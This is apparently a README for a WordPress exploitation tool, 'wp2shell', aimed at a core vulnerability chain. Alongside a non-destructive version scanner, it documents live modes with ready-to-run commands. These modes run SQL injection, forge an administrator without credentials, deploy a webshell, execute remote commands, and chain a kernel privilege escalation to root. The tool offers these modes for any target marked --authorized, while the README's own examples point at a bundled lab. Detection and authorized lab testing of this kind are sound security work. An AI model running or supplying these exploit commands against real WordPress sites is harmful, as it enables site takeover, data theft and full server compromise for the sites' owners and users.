wp2shell-scanner

by @bahartanir (katherinepierce) Fork of ZephrFish/wp2shell-scanner with additional improvements. Research by Adam Kues (Assetnote) and Mustafa Can İPEKÇİ (nukedx).

Detection and validation tooling for WordPress core exposure to wp2shell (CVE-2026-63030 / CVE-2026-60137). Modes are selected with a flag, and the target is positional. --scan fingerprints the core version and confirms the REST /batch/v1 route is reachable without sending an exploit payload; the --check/--read/--shell/--rce/--root-prereq modes are the validation PoC for authorized lab use.

wp2shell.py is a single, standard-library-only script — no external dependencies. Every invocation prints the banner to stderr before it runs (it stays off stdout, so --scan -j JSON output is unaffected).

Command flags

Exactly one mode flag is required; the target is positional (a URL for every mode, or a host list for --scan).

Synopsis

wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
            [targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
            [--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
            [--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
            [-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
            [--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
            [--timeout TIMEOUT]

Mode flags (pick one)

Option flags

Original deep dive: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/

Nuclei template

nuclei -t wp2shell-exposure.yaml -u https://target

Scan (non-destructive)

Single host, multiple hosts, or a file.

python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt

Options: -f/--file hosts file (one per line), -j/--json JSON output, -t/--threads concurrency (default 10).

Validation PoC

The --check/--read/--shell/--rce/--root-prereq modes send live exploit payloads. Run them only against the bundled localhost lab, or other systems you own and are explicitly authorized to test. --shell and --rce perform remote code execution and are intended for the lab/authorized targets; --rce on a non-loopback host requires --authorized. --root-prereq uses the same token-gated diagnostic plugin to check shell-to-root prerequisites, but it does not run a local privilege escalation.

--shell needs a recovered/cracked admin password. --rce is the credential-less pre-auth chain: it forges its own administrator through the SQLi (oEmbed → changeset → re-entrant parse_request), then deploys the webshell — no password required.

--shell, --rce, and --root-prereq prompt for interactive y/N authorization before any code-execution payload is sent (they abort on a non-interactive/EOF stdin). Pass -y/--yes to skip the prompt for automation against the lab or an authorized target.

docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read  http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce   http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce   http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe   http://127.0.0.1:8080

Patch diffs used to ground the PoC are saved under poc/diffs/, with research notes in poc/RESEARCH.md. The SQLi is fully reconstructable from the author__not_in fix. The credential-less --rce chain (oEmbed → changeset → re-entry → admin creation) reproduces the stock-default RCE against the bundled lab; --shell is the alternate path via a recovered/cracked admin credential to authenticated plugin upload and command execution.

Local Privilege Escalation (--lpe)

--lpe chains the full pre-auth RCE (SQLi → admin forge → webshell) with an automated root escalation attempt. It tries the following in order, stopping at the first success:

python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y          # skip auth prompt
python3 wp2shell.py --lpe https://target --authorized        # non-loopback

--lpe on a non-loopback target requires --authorized. On the bundled lab (Ubuntu 22.04 base image with a vulnerable GameOverlay kernel) CVE-2023-2640/32629 succeeds without a compiler.